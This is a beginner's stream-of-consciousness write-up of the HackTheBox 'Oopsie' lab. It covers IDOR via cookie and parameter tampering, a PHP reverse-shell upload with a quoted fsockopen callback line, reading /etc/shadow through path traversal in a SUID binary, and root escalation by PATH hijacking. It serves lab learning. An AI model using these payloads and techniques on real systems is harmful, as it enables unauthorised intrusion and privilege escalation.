This is my writeup for the ‘Oopsie’ machine in HackTheBox’s starting point labs. Rather than writing this as a step-by-step walkthrough, my goal is more to “show my work”. So it will include things I tried that might not have yielded anything. If I waste a bunch of time doing something that turns out to be unrelated, it will not be omitted! I also include a few general thoughts and ideas that might cross my mind during the labs. As such, the writeup will include the solutions I use, but also occasionally devolves into stream-of-consciousness and general tomfoolery. You’ve been warned!
A final note: As I am new to ethical hacking, I do a lot of on-the-fly googling. I will try to include relevant pages when trying a technique I read about online, but there is an expectation that you, dear reader, will undertake some of this yourself if you are looking to learn more about the techniques I’m using.
Enumeration & Starting Out
First, we nmap -sV -p- --min-rate 5000 and output the results to a txt file. Looks like only 22(ssh) and 80(http) are open.
Note: In a real-world scenario, this type of nmap attack would be very easy to detect and likely trigger alarms, but for our purposes it will save us some time
Spidering the the site in Burpsuite we see there seems to be a login page at /cdn-cgi/login/
Tried admin' , admin' OR 1=1, no interesting responses that I can see, just redirs to the login page with an http 200
Attacking The Site
Logging in as guest, there is an uploads page available, but it requires superuser rights. Don’t fret, we’ll get them. We do see something interesting in Burp, though:
{Cookie: user=2233; role=guest}
Using repeater we try user=1 role=admin, but it looks like it just redirects us back to the login page via an HTTP 302 code.
There is also an “account” page. Maybe we can manipulate this to display admin info. The url we get is /cdn-cgi/login/admin.php?content=accounts&id=2
Here’s our output:
Access ID Name Email
2233 guest guest@megacorp.com
Changing the &id parameter to 1, we get:
Access ID Name Email
34322 admin admin@megacorp.com
Nice. Let’s go plug that into the upload page like we tried earlier. But first let’s try some LFI shenanigans with this page:
/admin.php?content=accounts&id=../../[...]/etc/passwd
No luck there. Just a normal http 200 code that redirs to the same page – guess they are sanitizing input. Further investigation reveals that it seems to be filtering out our dots and just trying &id=/etc/passwd
Getting Our Shell
Now we can upload a file, but what? Presumably we want to get a remote shell going with netcat. A bit of research confirms this is possible through PHP. Php reverse shell – Hands-On Red Team Tactics [Book] (oreilly.com) has some php examples to get this going.
We write our php file:
<!--?php $s=fsockopen("10.10.--.--",9999);shell_exec("/bin/sh -i <&3 -->&3 2>&3");?>
While we do see our netcat receives a connection, we don’t get a shell.
Output:
listening on [any] 9999 ...
connect to [10.10.--.--] from (UNKNOWN) [10.129.78.126] 40308
Hmmm. Since we see a connection from our target on our machine, it seems like the socket is functioning and the call to shell is our failure point.
NOTE: I think the issue is that we need to configure ip info. Guessing that the script is just running shell on the local machine and not telling it to connect to us.
OK. Let’s try a pre-built tool to see if the issue is just our own ignorance. Kali comes with one at /usr/share/webshells/php-reverse-shell.php. Configure as needed, upload and run.
Voila! We’re in:
listening on [any] 9999 ...
connect to [10.10.--.--] from (UNKNOWN) [10.129.78.126] 40802
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
21:30:30 up 3:00, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Navigating The Machine and Stabs In The Dark
So, let’s save the contents of the /etc/passwd file to our machine, just to have it. We try to access the /etc/shadow file as well to maybe bruteforce some passwords, but we don’t have sufficient permissions… yet 😉
While exploring the machine, we find the /home/robert dir, which contains only one file: user.txt. It’s contents appear to be a hash or some encoded text (Maybe a flag?): f2c74ee8db7983851ab2a96a44eb7981
Sadly, putting this into a base64 decoder just gives us some nonsense junk.
Reading through Privilege Escalation – Linux · Total OSCP Guide (gitbooks.io) gives us a ton of different things we could try to escalate our privileges. However rather than smashing our face against one stab in the dark after another, let’s look at the questions from our HTB lab for some guidance here:
>What is the file that contains the password that is shared with the robert user?*
Hint: Review the code of the web pages.
Guess we need to look through the code for the site, which is likely located at /var/www/html
Lo and behold, we find something interesting at/var/www/html/cdn-cgi/login/db.php : login creds for our friend Robert from step 9. Maybe he is the sysadmin or at least has sudo privilege. We triumphantly enter the su command but once again, we’re thwarted:
su: must be run from a terminal
Huh? Are we not in a terminal at this very moment? Time for some googling.
Our googling reveals that we are not, in fact, in a terminal, we are in a shell. Seems like a kind of pedantic difference, we will look more into this later. For our purposes the key takeaway is the importance of the message message we got when our reverse shell was born: /bin/sh: 0: can't access tty; job control turned off
TTY is what we need to be able to use the su command.
Alright. This probably won’t work, but we’re getting tired of using the regular shell anyway, it would be nice to be able to use up arrows and tabbing, so lets rewrite “our” reverse shell script to use bash instead. No surprise – that didn’t work. Same error.
Note: the up arrow and tabbing support seems to be a side effect of running the shell through our netcat connection, because that still doesn’t work either. Oh well.
HOLD THE PHONE, didn’t we see the ssh port was open on the machine when we nmapped? We can just connect that way, which will be much easier for us. #BigBrainMoment
SSH Access, Privilege Escalation, and Copious Googling
We’re a bit off track at this point, but let’s try to sudo just to see if our friend Robert is a powerful man or not: sudo ps gives us the following output:
robert is not in the sudoers file. This incident will be reported.
Looks like our friend Robert is noone special. Worse yet, we’ve probably triggered some alerts! Robert is not our friend after all.
What the heck are we supposed to be doing anyway? Once again, we check our lab questions for guidance, which leads us to the find command, and by searching for files owned by a certain group that robert belongs to, the bugtracker executable.
Running bugtracker we are prompted for a bug id. Putting in 1 seems to output some bug info, but if we put something it can’t find a record for it throws an error:
cat: /root/reports/sdf: No such file or directory
It seems we have the power to cat any files we want to with root privileges. That’s great, but how can we find the flag? Lets grab the contents of the shadow file by passing by passing ../../etc/shadow into bugtracker and maybe we can bruteforce the password for root
The $6$ that prefixes that password hash indicates that it is encrypted with SHA-512. Worse, the strange characters peppered throughout (get it?) mean it has likely been salted (get it now?). Our dreams of bruteforcing are dashed (ok, I apologize. No more puns, I promise).
Looks like we are stuck with cat. Maybe we’ll get lucky and the flag is something obvious like /root/flag.txt
Sadly it isn’t as easy as that. We could try a heap of different guesses, but that’s kind of lame. We want root access to the machine to do whatever our hearts desire, not rely on luck to guess a file name.
Maybe we can mimic an escape key and get to shell as root. At this point we are going to throw whatever we think of at the wall to see what sticks.
We pass ^C ls into bugtracker hoping we will get it to run the ls command, but no dice.
OK. Let’s try using find to find the flag. Probably won’t work, since we know our flag needs root access to view, so our former friend robert likely won’t be able to see it. But hey, we’re trying whatever comes to mind here. Shockingly, this didn’t work.
Running out of ideas here. It would be a shame to have to turn to the walkthrough at this stage – we are so close we can taste it – so let’s do some googling on linux privilege escalation using SUID to see if we can crack this.
Since there is a dearth of info online about different possible SUID escalation techniques and we don’t want this writeup to ramble on for 30 pages, we’ll keep in mind that the HTB lab is expecting us to use the bugtracker program. We won’t worry about SUID techniques using built-in shell commands like cat, find, etc. and instead focus on techniques involving custom executables with root SUID permissions. This makes our search more difficult as the majority of pages seem to focus on the former techniques, and while these would certainly be worth learning about, we will not worry too much about them for now.
We find something interesting on this webpage: Linux privilege Escalation using the SUID Bit – RangeForce
>If a SUID executable calls another program without a full path set (ps instead of /bin/ps), then the PATH variable is used to decide where to search for the program. So, if we change the PATH variable and point it to a directory we own, and we put a malicious program there, then we can trick the SUID executable into running our malicious code as the superuser.
That sounds a lot like our situation, doesn’t it? Reading through the entry on that site regarding the $path variable gives us a new angle to try
We know bugtracker calls cat to output the bug logs; we will hope it doesn’t call it directly but rather relies on the $path variable. We will make our own file named cat which will execute a bash shell, put it in /tmp directory, add that directory at the front of $path and then run bugtracker
It didn’t work! Rereading the page, we realize we had a #SmoothBrainMoment and forgot to run chmod on our /tmp/cat file. Hopefully that was the issue. chmod 777 /tmp/cat and we run bugtracker again.
Output:
root@oopsie:/tmp#
IT WORKED!!!!
After a quick fistpump, we navigate to /root and see root.txt . cat root.txt outputs our flag…
Except it doesn’t. This is because it is still running our custom cat script from /tmp. rm /tmp/cat will fix that for us and is simpler than fixing $PATH
We enter the root flag and bask in our glory to the sweet chirping of the Machine pwned popup
Ending Thoughts:
The final batch of Starting Point machines have been a big step up in difficulty so far. I had to use a walkthrough for Archetype – which is ok, the goal here is to learn, not flex my ego – but in this case I found the answer myself through lots of googling. No doubt the next machine Vaccine will be another big challenge, but this is a big confidence booster and taught me the importance of continuing to dig through Google results even when it feels like all the results I’m getting are not applicable to my current situation.
~Mike ‘kefka’ Babineau, Aug 2022